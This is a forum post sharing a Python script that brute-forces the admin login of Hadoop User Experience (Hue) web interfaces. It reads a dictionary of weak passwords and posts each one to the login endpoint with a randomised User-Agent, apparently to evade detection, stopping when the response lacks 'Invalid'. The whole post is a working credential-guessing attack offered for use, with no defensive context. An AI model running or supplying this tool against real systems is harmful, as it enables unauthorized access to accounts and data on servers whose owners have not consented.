Jump to content
loading...

Hadoop User Experience Password Cracker

Recommended Posts

Posted

Hadoop User Experience password cracking script. Written in Python.

#!/usr/bin/python

import sys

import requests

import datetime

from fake_useragent import UserAgent

## CONFIG STARTS HERE ##

user = "admin"

host = "hostname:port"

listfile = "~/dictionaries/top1000-worst-passwords.txt"

## CONFIG ENDS HERE##

dictionary = open(listfile)

list = dictionary.readlines()

words = [ ]

print "Initializing dictionary",

for entry in list:

print('.'),

newword = entry.rstrip("\n")

words.append(newword)

print "Now testing "

for password in words:

ua = UserAgent().random

headers = { "User-Agent" : ua }

post = { "username" : user, "password" : password }

r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post)

invalid = r.text.find("Invalid")

if invalid == -1:

print "\nSuccess! " + user + ":" + password

print "Completed test at ",

print datetime.datetime.now()

sys.exit()

else:

print "...."

print "Attack unsuccessful...Completed at ",

Source

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...